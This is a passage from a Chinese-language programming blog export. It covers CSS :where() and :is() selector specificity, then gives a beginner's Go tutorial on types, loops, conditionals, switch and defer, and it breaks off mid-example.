:is() 函式的差別！\n:where()？ 根據MDN，:where() 是一個CSS 偽類函數選擇器，它接受一個選擇器列表作為參數，並將給定的樣式應用於該列表中的任何元素，因此 :where() 對於縮短一個較長的選擇器列表非常有用。\n在 CSS 中，當多個元素同時應用相同的樣式規則時，我們通常會編寫一長串以逗號分隔的選擇器。\n下面是一個例子，我們將相同的樣式應用到 header、main 元素和 footer 元素中的所有 a 標籤：\n1 2 3 4 5 6 header a:hover, main a:hover, footer a:hover { color: green; text-decoration: underline; } 在上面的代碼片段中，我們只選擇了三個元素，但是如果有大量的元素和選擇器，代碼將開始看起來不整潔，並且可能變得難以閱讀和理解。這就是 :where() 偽類函數發揮作用的地方。\n下面是上面的例子使用 :where() 函數的樣子：\n1 2 3 4 :where(header, main, footer) a:hover { color: red; text-decoration: underline; } 當瀏覽器到達該代碼片段時，該代碼指示瀏覽器查找 header、main 和 footer 選擇器，並定位這些選擇器中的所有 a 標籤。\n當用戶將鼠標懸停在任何這些 a 標籤上時，瀏覽器應該應用指定的樣式，在本例中為文字顏色紅色與下劃線。這個偽類函數使我們能夠以更短、更容易理解的方式編寫一個很長的選擇器列表。\n組合、分割與疊加 :where() 函數 使用 :where() 函數，我們可以以多種方式和組合對元素進行分組。\n我們可以將 :where() 函數放在選擇器的開頭、中間或結尾。\n下面是一個有多個選擇器和樣式的例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /* first list */ header a:hover, main a:hover, footer a:hover { color: green; text-decoration: underline; } /* second list */ article header \u0026gt; p, article footer \u0026gt; p{ color: gray; } /* third list */ .dark-theme button, .dark-theme a, .dim-theme button, .dim-theme a{ color: purple; } 下面是相同的代碼，用 :where() 函數重寫：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* first list */ :where(header, main, footer) a:hover { color: red; text-decoration: underline; } /* second list */ article :where(header, footer) \u0026gt; p { color: gray; } /* third list */ .dark-theme :where(button, a) { color: purple; } .dim-theme :where(button, a) { color: purple; } 在第一個列表中，我們指定「紅色」和「下劃線」樣式應應用於懸停時的 header 元素、main 元素和 footer 元素。在第二個列表中，我們指定 article元素、header元素 和 footer 元素應該使用灰色樣式。\n為了更清晰，我們將第三個列表分為兩個 :where() 函數。在這個列表中，我們指定 .dark-theme、.dim-theme 裡的 button 和 a 元素的樣式應該是紫色。\n現在，我們將進一步減少第三個列表函數，將它們變成一個 :where() 函數：\n1 2 3 4 /* 堆疊 */ :where(.dark-theme, .dim-theme) :where(button, a) { color: purple; } 這種減少複雜選擇器列表的方式稱為疊加。\n:where() 選擇器的優先級 :where() 函數選擇器的優先級總是零。\n因此，以該函數為目標的任何元素也會自動獲得 0 的優先級。這使我們能夠輕鬆地取消任何元素的樣式。\n下面是一個 HTML 有序列表的例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;First list no class\u0026lt;/h2\u0026gt; \u0026lt;ol\u0026gt; \u0026lt;li\u0026gt;List Item 1\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;List Item 2\u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;Second list with class\u0026lt;/h2\u0026gt; \u0026lt;ol class=\u0026#34;second-list\u0026#34;\u0026gt; \u0026lt;li\u0026gt;List Item 1\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;List Item 2\u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;Third list with class\u0026lt;/h2\u0026gt; \u0026lt;ol class=\u0026#34;third-list\u0026#34;\u0026gt; \u0026lt;li\u0026gt;List Item 1\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;List Item 2\u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; \u0026lt;/div\u0026gt; 在上面的代碼片段中，有三個有序列表，每個列表中有兩個項。第二個和第三個列表有一個給定的類，而第一個列表沒有。\n沒有任何樣式，我們可以看到每個列表是按數字順序排列的：\n現在讓我們添加一些樣式：\n1 2 3 :where(ol[class]) { list-style-type: none; } 在上面的代碼片段中，我們使用 :where() 偽類函數來選擇應用了類的所有 ol 標籤。\n下面，我們看到第二個和第三個列表，它們都有一個類，被 :where() 函數作為目標，並刪除了它們的 list-style-type：\n現在，讓我們添加一些額外的樣式：\n1 2 3 4 5 6 7 :where(ol[class]) { list-style-type: none; } .second-list { list-style-type: disc; } 只針對使用類名的第二個列表，我們可以看到它現在顯示為項目符號，而第三個列表仍然沒有列表樣式類型：\n你可能會想，\u0026ldquo;這不應該是這樣嗎，因為新的樣式寫在 :where() 函數樣式下面？\u0026ldquo;不，它不是，我們一會兒就會看到。\n讓我們看看當我們把剛剛添加的代碼移到代碼塊的頂部，並把 :where() 函數部分移到底部時，會發生什麼：\n1 2 3 4 5 6 7 .second-list { list-style-type: disc; } :where(ol[class]) { list-style-type: none; } 注意樣式仍然沒有改變：\n記住：:where() 函數的優先級為零。\n:where() 選擇器的安全性 對於選擇器列表，如果瀏覽器不能識別列表中的一個選擇器，則整個選擇器列表將被視為無效，並且它們的樣式將不會被應用。然而對於 :where() 偽類函數就不是這樣了。\n如果 :where() 函數中的元素是無效選擇器的目標，則該元素將不會獲得任何樣式。其餘的元素仍然會被設置樣式。:where() 函數將跳過無效的選擇器到下一個（有效）選擇器。\n這就是為什麼 :where() 被稱為安全的選擇器。\n在下面的例子中，:unsupported 對於許多瀏覽器來說是無效的選擇器。下面的代碼將被正確解析，並且仍然會匹配 :valid 選擇器，即使在不支持 :unsupported 選擇器的瀏覽器中，如下所示：\n1 2 3 :where(:valid, :unsupported) { /* ... */ } 而在不支持 :unsupported 選擇器的瀏覽器中，以下代碼將被忽略，即使它們支持 :valid 選擇器：\n1 2 3 :valid, :unsupported { /* ... */ } :where() 函數的特殊用例 在一些特殊的用例中，:where() 函數可能是一個有用的工具，但也有一些情況下應該避免使用它。\n使用 :where() 偽類函數時出現的幾乎所有問題都歸結為優先級。\n因為 :where() 的優先級為零，我們需要非常小心地選擇何時何地使用這個函數。\n首先，讓我們看看幾個用例，在這些用例中 :where() 可能特別有用。\n改進 CSS 重置 CSS 重置是指在任何其他樣式之前加載一組樣式規則，以清除瀏覽器的內置樣式。 CSS 重置通常放置在 CSS 樣式表的頂部或開始，所以它們首先加載。 開發人員通常使用它們來刪除瀏覽器最初給幾個元素的默認樣式，然後才開始實際設計他們的元素和網站。 CSS 重置還可以幫助消除不同瀏覽器之間的不一致。 CSS 重置是臨時的樣式，稍後會在樣式化過程中更改。 然而，根據 CSS 重置中使用的元素或元素組的選擇器的簡單性或複雜性，稍後在代碼中可能很難覆蓋初始樣式。\n例如，假設我們將網站上的所有的 a 標籤設置為綠色。\n然後我們稍後決定將所有 header 裡的 a 標籤的樣式設置為灰色。\n由於在 CSS 重置中選擇的複雜性，新的（灰色）樣式不會被應用。\n重置中的選擇器比後面代碼中僅針對 header 裡的 a 標籤使用的選擇器具有更高階的優先級，因此沒有應用灰色樣式。\n現在，如果我們將 :where() 偽類函數添加到 CSS 重置中，這將自動為重置中的所有元素賦予零的優先級。\n這使得我們以後更容易更改樣式，而不必擔心優先級衝突。\n刪除樣式 如果想要刪除或取消樣式或降低一個或一組元素的優先級，則 :where() 函數非常有用。\n保持樣式 如果要確保一個元素或元素集的樣式或優先級在未來的任何時候都不會改變，那麼不要使用 :where() 偽類。\n:is()？ :is() 函數的運行方式幾乎與 :where() 函數相同。\n你可以用它來簡化複雜的選擇器，也可以把它放在選擇器的開頭、中間或結尾，就像 :where() 函數一樣。\n它也是安全的，就像 :where() 函數一樣。因此，當其中一個選擇器無效時，瀏覽器將忽略該選擇器，但有效選擇器的樣式將添加到所選元素中。\n:where() 和 :is() 函數的區別？ 這兩個函數的區別在於 :where() 函數的優先級總是零，則 :is() 函數的優先級取決於其最特定參數的優先級。\n例如，讓我們看看 header 元素中的段落文本：\n1 2 3 \u0026lt;header\u0026gt; \u0026lt;p\u0026gt;This is a paragraph text.\u0026lt;/p\u0026gt; \u0026lt;/header\u0026gt; 然後，讓我們嘗試使用四種不同的選擇器來改變文本顏色：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 header p { color: blue; } :is(header, section) p { color: green; } p { color: blue; } :where(header, section) p { color: blue; } 第一個選擇器將文本的顏色設置為藍色。使用 :is() 的第二個選擇器與第一個選擇器具有相同的優先級，但由於它位於第一個選擇器之後，因此它將文本顏色從藍色更改為綠色。第三個選擇器的優先級低於第一個和第二個選擇器，對文本沒有影響。最後是第四個，它使用 :where() 函數對文本沒有影響，因為它的零優先級。\n瀏覽器兼容性 所有瀏覽器，無論是桌面瀏覽器還是移動瀏覽器，都完全支持 :where() 函數，包括對其安全特性的支持。因此，你不必擔心你的樣式是否會在瀏覽器中正確呈現。\n","date":"2023-02-13T00:00:00Z","image":"https://live.staticflickr.com/65535/52685546952_5615aa17bf_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-13/css-where-function/","title":"學習 CSS 中的 :where() 與 :is() 函式"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n簡介 Go 語言是由 Google 開發的開放原始碼項目，目的之一為了提高開發人員的程式設計效率。\nGo 語言語法靈活、簡潔、清晰、高效。它對併發的特性可以方便地用於多核處理器 和網絡開發，同時靈活新穎的類型系統可以方便地撰寫模組化的系統。\nGo 可以快速編譯，同時具有記憶體垃圾自動回收功能，並且還支持運行時反射。\nGo 是一個高效、靜態類型，但是又具有解釋語言的動態類型特徵的系統級語法。\n由來！？ 下載中斷是再正常不過的事，但對知名 Google 程式設計師菲茲派翠克（Brad Fitzpatrick）來說，這件事情太難以忍受。\n令人不耐的下載速度 其實他並不孤單，多年來很多人都曾抱怨 dl.google.com 系統不夠穩定。\n這個系統非常重要，任務範圍幾乎涵蓋所有 Google 下載任務，包括 Chrome 瀏覽器安裝、Android 原始程式碼，以及較小的 JavaScript。但，問題是該檔案伺服器系統的基礎代碼已經超過五年，相當老舊。\n菲茲派翠克認為代碼必須不斷更新提升，最初的 C++ 語言缺乏規範的文檔，自動化測試也未達水準，沒有人能搞懂它，只是不斷做一些小幅改變。最後在負責維護的程式人員眼裡，這些代碼根本是一團糟。\n不穩定的系統讓伺服器運營團隊相當苦惱，但沒有人有時間重寫代碼。於是菲茲派翠克自告奮勇接手，他在 Google 底下的 25 人工程師團隊 \u0026mdash;\u0026ndash; 地鼠隊（Gopher Team）中，負責開發一種程式設計語言命名為 Go。這個機會讓他非常興奮。(以上內容節錄自 Wired)\n為什麼要學習 Golang？ Golang 易學易用：Golang 基本上是強化版的 C 語言，都以核心語法短小精要著稱。 Golang 是靜態型別語言：很多程式的錯誤在編譯期就會挑出來，相對易於除錯。 Golang 編譯速度很快：帶動整個開發的流程更快速。 Golang 支援垃圾回收：網頁程式較接近應用程式，而非系統程式，垃圾回收在這個情境下不算缺點；此外，使用垃圾回收可簡化程式碼。 Golang 內建共時性的語法：goroutine 比起傳統的執行緒 (thread) 來說輕量得多，在高負載時所需開銷更少。 Golang 是跨平台的：只要程式中不碰到 C 函式庫，在 Windows (或 Mac) 寫好的 Golang 網頁程式，可以不經修改就直接發布在 GNU/Linux 伺服器上。 Golang 的專案不需額外的設定檔：在專案中，只要放 Golang 程式碼和一些 assets 即可運作，所需的工具皆內建在 Golang 主程式中，省去學習專案設罝的功夫。 Golang 沒有死硬的程式架構：用 Golang 寫網頁程式思維上接近微框架 (micro-framework)，只要少數樣板程式碼就可以寫出網頁程式，也不限定可用的第三方函式庫。 Golang 函式庫很多，甚至可以直接使用 GitHub 上面的函式庫。 Golang 多傳回值，你函式的回傳值可以是多個。 真要說的話，真的列舉不完，以上幾點是我特別看中喜愛的點，希望能勾起大家對於 Golang 的興趣！ 但 Golang 並非完美無缺，以下是要考量的點：\nGolang 並非完整的物件導向 (object-oriented) 語言，頂多是基於物件的 (object-based) 語言。 Golang 的語言特性相對少：這是 Golang 時常被攻擊的點，這只能靠自己調整寫程式的習慣。 在一些情境下，Golang 程式碼相對笨拙冗餘，像是排序 (sorting)。 開發環境設定 Go 本身支援 Cross Compile 當然有準備各個平台的安裝方法囉！每次發佈的版本都會包括知名的三大平台 (Windows, Linux, Mac OS)，立刻就去下載安裝！\n檔案下載網址\n等等！Unix Like 的使用者先等等，有個更好用的東西可以讓各位使用，我們有 GVM 可以用，GVM 可以有效的管理 Go 的版本，連 GOPATH 都幫你設定好，超方便的！即時是最新的也都能馬上使用他下載安裝，真的是棒的沒話說，就讓我們來使用他吧！記得要先看一下 Requirements 喔，不然會裝不起來。\n另外我的部落格有輕鬆搭建 Go 開發環境的教學 - 在 Windows 平台打造完美的 Go 開發環境 (WSL 2)，可以直接參考該篇文章進行搭建！(開發工具使用 Visual Studio Code)\nGo 指令 在終端機上執行 go 指令就會看到一系列的指令介紹：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 $ go Go is a tool for managing Go source code. Usage: go command [arguments] The commands are: bug start a bug report build compile packages and dependencies clean remove object files and cached files doc show documentation for package or symbol env print Go environment information fix update packages to use new APIs fmt gofmt (reformat) package sources generate generate Go files by processing source get add dependencies to current module and install them install compile and install packages and dependencies list list packages or modules mod module maintenance work workspace maintenance run compile and run Go program test test packages tool run specified go tool version print Go version vet report likely mistakes in packages Use \u0026#34;go help \u0026lt;command\u0026gt;\u0026#34; for more information about a command. Additional help topics: buildconstraint build constraints buildmode build modes c calling between Go and C cache build and test caching environment environment variables filetype file types go.mod the go.mod file gopath GOPATH environment variable gopath-get legacy GOPATH go get goproxy module proxy protocol importpath import path syntax modules modules, module versions, and more module-get module-aware go get module-auth module authentication using go.sum packages package lists and patterns private configuration for downloading non-public code testflag testing flags testfunc testing functions vcs controlling version control with GOVCS Use \u0026#34;go help \u0026lt;topic\u0026gt;\u0026#34; for more information about that topic. 如果對於某個指令特別需要幫助可以用 go help [topic] 指令。\n這邊特別介紹的有四個指令：go run、go build、go install、go clean。\ngo run 直接執行 golang code。\n1 2 3 go run src/helloWorld/main.go \u0026gt; Hello World go build build，如果沒有錯誤就產生執行檔於當前目錄。\n1 go build build 後產生的檔案即是執行檔。\ngo install 如果沒有錯誤則產生執行檔於 $GOPATH/bin。\n1 2 3 4 5 6 go install # 查看執行檔 ls $GOPATH/bin \u0026gt; helloWorld go clean 執行後會將 build 產生的檔案都刪除。(install的不會刪)\n1 go clean Javascript v.s. Golang 由於我是從前端寫到後端，這邊用吃飯工具 Javascript 與 Golang 做個寫法比較。\nHello World Javascript： 1 console.log(\u0026#34;hello world\u0026#34;); Golang： 1 2 3 4 5 6 7 8 package main import ( \u0026#34;fmt\u0026#34; ) func main() { fmt.Println(\u0026#34;hello world\u0026#34;) } Array Javascript： 1 const names = [\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;]; Golang： 1 names := []string { \u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34; } 印出後面幾個字的子字串 Javascript： 1 2 let game = \u0026#34;hello world\u0026#34;; console.log(game.substr(8, game.length)); Golang： 1 2 game := \u0026#34;hello world\u0026#34; fmt.Println(game[8: ]) 流程控制 Javascript： 1 2 3 4 5 6 7 8 9 10 11 12 const gender = \u0026#39;female\u0026#39;; switch (gender) { case \u0026#39;female\u0026#39;: console.log(\u0026#34;you are a girl\u0026#34;); break; case \u0026#39;male\u0026#39;: console.log(\u0026#34;your are a boy\u0026#34;); break; default: console.log(\u0026#34;you are a third gender\u0026#34;); } Golang： 1 2 3 4 5 6 7 8 9 gender := \u0026#34;female\u0026#34; switch gender { case \u0026#34;female\u0026#34;: fmt.Println(\u0026#34;you are a girl\u0026#34;) case \u0026#34;male\u0026#34;: fmt.Println(\u0026#34;your are a boy\u0026#34;) default: fmt.Println(\u0026#34;you are a third gender\u0026#34;) } 看來 Go 省略了 break 這關鍵字。\nLoop Javascript 有 for loop、while loop、do while loop。\nGo 只有 for loop 就能模擬上面三個。\nGolang：\n1 2 3 4 5 6 7 8 9 10 11 12 13 for i := 0; i \u0026lt; 10; i++ { fmt.Println(i) } // key value pairs kvs := map[string]string { \u0026#34;name\u0026#34;: \u0026#34;wayne blog\u0026#34;, \u0026#34;website\u0026#34;: \u0026#34;https://blog.wayne-project.com/\u0026#34;, } for key, value := range kvs { fmt.Println(key, value) } Object Javascript： 1 2 3 4 5 6 const Post = { ID: 10213107, Title: \u0026#34;Golang 的新手教學\u0026#34;, Author: \u0026#34;Wayne\u0026#34;, Difficulty: \u0026#34;Beginner\u0026#34; } Golang： 1 2 3 4 5 6 7 8 9 10 11 12 13 type Post struct { ID int Title string Author string Difficulty string } p := Post { ID: 10213107, Title : \u0026#34;Golang 的新手教學\u0026#34;, Author: \u0026#34;Wayne\u0026#34;, Difficulty:\u0026#34;Beginner\u0026#34;, } Go 能透過定義抽象的 struct 與其屬性，再實例化。\n也能透過 map[string]interface 來定義：\n1 2 3 4 5 6 Post := map[string]interface{} { \u0026#34;ID\u0026#34;: 10213107, \u0026#34;Title\u0026#34; : \u0026#34;Golang 的新手教學\u0026#34;, \u0026#34;Author\u0026#34;: \u0026#34;Wayne\u0026#34;, \u0026#34;Difficulty\u0026#34;:\u0026#34;Beginner\u0026#34;, } 舉幾個例子比較一下，後面會慢慢補充。\n變數型態與宣告方式 Go 和你所知道的大多數語言相同，會有各種型態，如果你有學過 C 語言，這邊你可以很輕鬆的看過去，而且你會發現它跟 C 語言有許多相似之處，Go 之所以被稱為「21 世紀 C 語言不是沒有原因」，另外如果沒有學過，也別擔心，它沒有很困難，那就讓我們來認識看看有哪些型態。\n整數 整數的型態很多種，以下表格是 Go 語言擁有的整數型態，以及它的範圍。\n類型 位元 值的範圍 int8 1 -128 ~ 127 uint8(byte) 1 0 ~ 255 int16 2 -32768 ~ 32767 uint16 2 0 ~ 65535 int32 4 -2147483648 ~ 2147483647 uint32 4 0 ~ 4294967295 int64 8 -9223372036854775808 ~ 9223372036854775807 uint64 8 0 ~ 18446744073709551615 int 視平台而定 視平台而定 uint 視平台而定 視平台而定 uintptr 同指標 32 位元平台： 4 位元64 位元平台： 8 位元 PS：unit(unsigned integer) 意味沒有符號的整數\n範例：\n1 2 3 4 5 6 7 package main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(\u0026#34;1 + 1 =\u0026#34;, 1 + 1) } 浮點數 浮點數囊括任何帶有小數點的數值(.00也算在浮點數)。\n浮點數包涵兩種型態 float32、float64。\n要注意的是，如果初始化的時候沒有加小數點會被推斷為整數，另外初始化的時候沒有指定型態的話，會被自動推斷為 float64。\nfloat64 在 Go 語言相當於 C 語言的 Double，且 float32 與 float64 是無法一起計算的，需要強制轉型。\n範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package main import \u0026#34;fmt\u0026#34; func main() { var floatValue float64 floatValue = 7.0 var floatValue2 = 3.0 fmt.Println(\u0026#34;7.0/3.0 =\u0026#34;, floatValue/floatValue2) var test float64 var test2 float32 test = 1.1 test2 = 2.2 fmt.Println(\u0026#34;test + test2 =\u0026#34;, float32(test) + test2) } 複數 複數包涵兩種型態 complex64、complex128。\n我覺得算是 Go 的特色之一，其他語言很少有這種型態，一個完整的複數需要包涵實數、虛數。\n如果是初始化讓 Go 自動判斷型態的型態會是 complex128，而不會是 complex64。\n範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package main import \u0026#34;fmt\u0026#34; func main() { var complexValue complex64 complexValue = 1.2 + 12i complexValue2 := 1.2 + 12i complexValue3 := complex(3.2, 12) fmt.Println(\u0026#34;complexValue =\u0026#34;, complexValue) fmt.Println(\u0026#34;complexValue2 =\u0026#34;, complexValue2) fmt.Println(\u0026#34;complexValue3 =\u0026#34;, complexValue3) fmt.Println(\u0026#34;complexValue3 實數 =\u0026#34;, real(complexValue3)) fmt.Println(\u0026#34;complexValue3 虛數 =\u0026#34;, imag(complexValue3)) } 字串 請注意字串型態無法在初始化後被修改。\n範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 package main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(\u0026#34;1\u0026#34; + \u0026#34;1\u0026#34;) fmt.Println(len(\u0026#34;Hello World\u0026#34;)) fmt.Println(\u0026#34;Hello World\u0026#34;[1]) fmt.Println(\u0026#34;Hello\u0026#34; + \u0026#34;World\u0026#34;) a := \u0026#34;Hello World\u0026#34; fmt.Printf(\u0026#34;%c\u0026#34;,a[1]) } 布林 Go 語言中的布林與其他語言一致，關鍵字一樣是 bool，可以賦予值為 true 和 false。\n範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package main import \u0026#34;fmt\u0026#34; func main() { var a bool a = true fmt.Println(\u0026#34;a =\u0026#34;, a) b := false fmt.Println(\u0026#34;b =\u0026#34;, b) fmt.Println(true \u0026amp;\u0026amp; true) fmt.Println(true \u0026amp;\u0026amp; false) fmt.Println(true || true) fmt.Println(true || false) fmt.Println(!true) } 如何宣告？ Golang 在變數宣告的一開始是不需要指定型別的。\n例如這樣即可： 1 var myName 如果宣告時順便初始化可以這樣寫： 1 var myName = \u0026#34;Wayne\u0026#34; 或是有更簡潔的寫法： 1 myName := \u0026#34;Wayne\u0026#34; 當然也可以一次宣告很多個： 1 myName, myAge, isPassed := \u0026#34;Wayne\u0026#34;, 18, true Q：你可能會問，那我這樣寫會發生什麼事？\n1 myName, myAge, isPassed := \u0026#34;Wayne\u0026#34;, 18 A：那個 isPassed 將不會被初始化。\n如果想要指定變數型態的話，只需要在 var 後面加上指定型態即可： 1 2 3 4 5 var ( myName string = \u0026#34;Wayne\u0026#34; myAge int = 18 isPassed boolean = true ) 記得每個變數要不同行，中間不需要逗號分隔\n最後有個比較特別的：常數(const)，常數為一個固定值，當然之後在程式內是不允許被修改的。\n1 2 const pi = 3.14 const hello_str = \u0026#34;Hello World\u0026#34; 迴圈 Go 只有一種迴圈 -「for」。\n除了基本的「for」迴圈，沒有了「()」之外（甚至強制不能使用它們），它看起來跟 C 或者 Java 中做的一樣，而「{}」是必須的。\nfor 1 2 3 for i := 0; i \u0026lt;= 100; i++ { // do something } 巢狀迴圈 1 2 3 4 5 for i := 0; i \u0026lt;= 100; i++ { for j := 0; j \u0026lt;= 100; j++ { // do something } } while 用法的 for 迴圈 1 2 3 4 i := 0 for i \u0026lt;= 10 { // do something } 無窮迴圈 1 2 3 for { // do something } break break 終止迴圈執行。\n1 2 3 4 5 6 7 8 i := 0 for { // do something if i \u0026gt;= 100 { break; } i++ } continue 有 break 當然也會有 continue，continue 就是略過本次的迴圈，直接進行下一輪：\n1 2 3 4 5 6 7 8 9 10 for { i++ if i % 2 == 0 { continue } fmt.Print(i) if i \u0026gt; 50 { break } } if 條件判斷 if 語句除了沒有了「()」之外（甚至強制不能使用它們），看起來跟 C 或者 Java 中的一樣，而「{}」是必須的。\nif 如果為 true 就執行，如果為 false 的話就不會執行：\n1 2 3 4 5 6 7 8 9 if true { fmt.Println(\u0026#34;This is true\u0026#34;) } if false { fmt.Println(\u0026#34;This line will not be executed\u0026#34;) } // 輸出結果： // This is true \u0026amp;\u0026amp;：且\n||：或\n1 2 3 4 5 6 7 8 sex := \u0026#34;male\u0026#34; age := 20 if sex == \u0026#34;male\u0026#34; \u0026amp;\u0026amp; age \u0026gt;= 18 { fmt.Println(\u0026#34;成年男性\u0026#34;) } // 輸出結果： // 成年男性 相反(!) 在 ture 或 false 之前加上!，會使結果顛倒，true 會變成 false，false 變成 true。\n1 2 3 4 5 6 7 8 9 if !true { fmt.Println(\u0026#34;This is !true\u0026#34;) } if !false { fmt.Println(\u0026#34;This is !false\u0026#34;) } // 輸出結果： // This is !false if\u0026hellip;else 1 2 3 4 5 6 7 8 9 myMoney := 100 if myMoney \u0026gt; 99 { fmt.Println(\u0026#34;I can buy it\u0026#34;) } else { fmt.Println(\u0026#34;I can\u0026#39;t buy it\u0026#34;) } // 輸出結果： // I can buy it if\u0026hellip;else if 1 2 3 4 5 6 7 8 9 10 myMoney := 100 iceCream := 20 if myMoney-iceCream \u0026gt; 50 { fmt.Println(\u0026#34;buy it!\u0026#34;) } else if myMoney-iceCream \u0026lt; 50 { fmt.Println(\u0026#34;sorry, I won\u0026#39;t buy\u0026#34;) } // 輸出結果： // buy it! if\u0026hellip;else if\u0026hellip;else 1 2 3 4 5 6 7 8 9 10 11 12 13 14 myMoney := 100 ferrari := 450 bmw := 250 if myMoney \u0026gt; ferrari { fmt.Println(\u0026#34;buy Ferrari\u0026#34;) } else if myMoney \u0026gt; bmw { fmt.Println(\u0026#34;buy BMW\u0026#34;) } else { fmt.Println(\u0026#34;buy Toyota\u0026#34;) } // 輸出結果： // buy Toyota if 簡短的敘述 跟「for」一樣，「if」語句可以在條件之前執行一個簡單的語句，由這個語句定義的變數的作用範圍僅在「if」範圍之內。\n（在最後的 return 語句處使用 v 看看。）\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;math\u0026#34; ) func pow(x, n, lim float64) float64 { if v := math.Pow(x, n); v \u0026lt; lim { return v } return lim } func main() { fmt.Println( pow(3, 2, 10), pow(3, 3, 20), ) } // 輸出結果： // 9 20 switch 條件判斷 switch 在很多情況下可以取代 if 的功能，而且寫起來會更加簡潔。\n範例：\n1 2 3 4 5 6 7 8 9 10 11 12 myfriend := \u0026#34;Tony\u0026#34; switch myfriend { case \u0026#34;Amy\u0026#34;: fmt.Println(\u0026#34;Hi, Amy\u0026#34;) case \u0026#34;Tony\u0026#34;: fmt.Println(\u0026#34;Hi bro\u0026#34;) case \u0026#34;Jackey\u0026#34;: fmt.Println(\u0026#34;GO AWAY!\u0026#34;) } // 輸出結果： // Hi bro 要注意的是 case 中只需要:，並不需要 {} 來分隔。\ndefault 如果都不在 case 裡的情況就會執行 default：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 myfriend := \u0026#34;Jason\u0026#34; switch myfriend { case \u0026#34;Amy\u0026#34;: fmt.Println(\u0026#34;Hi, Amy\u0026#34;) case \u0026#34;Tony\u0026#34;: fmt.Println(\u0026#34;Hi bro\u0026#34;) case \u0026#34;Jackey\u0026#34;: fmt.Println(\u0026#34;GO AWAY!\u0026#34;) default: fmt.Println(\u0026#34;Nice to meet you, but who are you?\u0026#34;) } // 輸出結果： // Nice to meet you, but who are you? fallthrough 在 case 中加入 fallthrough，會接著執行下一個 case。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 myfriend := \u0026#34;Amy\u0026#34; switch myfriend { case \u0026#34;Amy\u0026#34;: fmt.Println(\u0026#34;Hi, Amy\u0026#34;) fallthrough case \u0026#34;Tony\u0026#34;: fmt.Println(\u0026#34;Hi bro\u0026#34;) case \u0026#34;Jackey\u0026#34;: fmt.Println(\u0026#34;GO AWAY!\u0026#34;) default: fmt.Println(\u0026#34;Nice to meet you, but who are you?\u0026#34;) } // 輸出結果： // Hi, Amy // Hi bro 多重 case 1 2 3 4 5 6 7 8 9 10 myfriend := \u0026#34;Paul\u0026#34; switch myfriend { case \u0026#34;Amy\u0026#34;, \u0026#34;Emily\u0026#34;: fmt.Println(\u0026#34;Hi, beautiful gril\u0026#34;) case \u0026#34;Tony\u0026#34;, \u0026#34;Paul\u0026#34;: fmt.Println(\u0026#34;Hi bro\u0026#34;) } // 輸出結果： // Hi bro switch 沒有對象 這個情況就有點像是 if 的功能了：\n1 2 3 4 5 6 7 8 9 10 11 12 myMoney := 100 switch { case myMoney \u0026gt; 500: fmt.Println(\u0026#34;buy Ferrari\u0026#34;) case myMoney \u0026gt; 250: fmt.Println(\u0026#34;buy BMW\u0026#34;) default fmt.Println(\u0026#34;buy Toyota\u0026#34;) } // 輸出結果： // buy Toyota BONUS(一)：goto Go 語言跟 C 語言一樣也有「goto」，但是不建議使用，會讓程式的結構變得很糟糕。\n1 2 3 4 5 6 7 8 9 func main() { i := 0 HERE: fmt.Print(i) i++ if i \u0026lt; 10 { goto HERE } } BONUS(二)：defer 就許多現代語言而言，例外處理機制是基本特性之一，然而，例外處理是好是壞，一直以來存在著各種不同的意見，在 Go 語言中，沒有例外處理機制，取而代之的，是運用 defer、panic、recover 來滿足類似的處理需求。\ndefer 在 Go 語言中，可以使用 defer 指定某個函式延遲執行，那麼延遲到哪個時機？簡單來說，在函式 return 語句之後準備返回呼叫的函式之前，例如：\n延遲效果 1 2 3 4 5 6 7 8 9 10 11 12 func myfunc() { fmt.Println(\u0026#34;B\u0026#34;) } func main() { defer myfunc() fmt.Println(\u0026#34;A\u0026#34;) } // 輸出結果： // A // B 可在返回之前修改返回值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 func Triple(n int) (r int) { defer func() { r += n // 修改返回值 }() return n + n // \u0026lt;=\u0026gt; r = n + n; return } func main() { fmt.Println(Triple(5)) } // 輸出結果： // 15 變數的快照 1 2 3 4 5 6 7 8 9 10 11 func main() { name := \u0026#34;go\u0026#34; defer fmt.Println(name) // 變數 name 的值被記住了，所以會輸出go name = \u0026#34;python\u0026#34; fmt.Println(name) // 輸出：python } // 輸出結果： // python // go 應用 反序調用 如果有多個函式被 defer，那麼在函式 return 前，會依 defer 的相反順序執行，也就是 LIFO，例如：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 func deferredFunc1() { fmt.Println(\u0026#34;deferredFunc1\u0026#34;) } func deferredFunc2() { fmt.Println(\u0026#34;deferredFunc2\u0026#34;) } func main() { defer deferredFunc1() defer 